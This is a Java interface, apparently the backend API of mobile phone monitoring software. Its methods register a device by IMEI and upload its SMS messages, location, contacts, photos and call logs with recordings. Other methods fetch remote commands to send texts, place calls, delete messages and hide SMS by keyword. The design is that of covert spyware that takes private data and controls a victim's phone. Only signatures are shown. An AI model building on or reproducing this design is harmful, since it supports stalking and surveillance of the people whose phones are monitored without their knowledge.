package com.monitor.service;

import java.util.List;

import com.monitor.api.entity.Result;
import com.monitor.po.RemoteCall;
import com.monitor.po.RemoteSms;
import com.monitor.po.SmsMotion;
import com.monitor.po.SmsShieldWord;
import com.monitor.po.User;

public interface ApiService {

	/**
	 * 同步用户信息
	 * 
	 * @param phone
	 * @param imei
	 * @param model
	 * @return
	 * @throws Exception
	 */
	Result sychonizeUserInfo(String phone, String imei, String model) throws Exception;

	/**
	 * 上传短信
	 * 
	 * @param phone
	 * @param smsStr
	 * @return
	 * @throws Exception
	 */
	Result uploadSms(String phone, String smsStr) throws Exception;

	/**
	 * 上传经纬度
	 * 
	 * @param phone
	 * @param locationStr
	 * @return
	 * @throws Exception
	 */
	Result uploadLocation(String phone, String locationStr) throws Exception;

	/**
	 * 上传联系人数据
	 * 
	 * @param phone
	 * @param contactStr
	 * @return
	 * @throws Exception
	 */
	Result uploadContact(String phone, String contactStr) throws Exception;

	/**
	 * 上传相册
	 * 
	 * @param uid
	 * @param path
	 * @param addTime
	 * @throws Exception
	 */
	void uploadAlbum(long uid, String path, long addTime) throws Exception;

	/**
	 * 根据电话号码获取用户
	 * 
	 * @param phone
	 * @return
	 * @throws Exception
	 */
	User getUserByPhone(String phone) throws Exception;

	/**
	 * 上传通话记录
	 * 
	 * @param uid
	 * @param targetPhone
	 * @param addTime
	 * @param path
	 */
	void uploadCallLog(long uid, String targetPhone, long addTime, String path, boolean outgoing) throws Exception;

	/**
	 * 获取远程短信
	 * 
	 * @param uid
	 * @param pageSize
	 * @return
	 * @throws Exception
	 */
	List<RemoteSms> getRemoteSmss(long uid, int pageSize) throws Exception;

	/**
	 * 更新远程短信状态
	 * 
	 * @param idStr
	 * @return
	 * @throws Exception
	 */
	boolean updateRemoteSmsExceuteStatus(long uid, String idStr) throws Exception;

	/**
	 * 获取远程电话
	 * 
	 * @param uid
	 * @return
	 * @throws Exception
	 */
	List<RemoteCall> getRemoteCalls(long uid) throws Exception;

	/**
	 * 更新远程电话状态
	 * 
	 * @param idStr
	 * @return
	 * @throws Exception
	 */
	boolean updateRemoteCallExceuteStatus(String idStr) throws Exception;

	/**
	 * 获取删除短信的指令
	 * 
	 * @param uid
	 * @return
	 * @throws Exception
	 */
	List<SmsMotion> getSmsMotion(long uid) throws Exception;

	/**
	 * 更新删除短信指令状态
	 * 
	 * @param idStr
	 * @return
	 * @throws Exception
	 */
	boolean updateSmsMotionStatus(String idStr) throws Exception;

	/**
	 * 获取短信屏蔽关键字
	 * 
	 * @return
	 * @throws Exception
	 */
	List<SmsShieldWord> getSmsShieldWords() throws Exception;
}
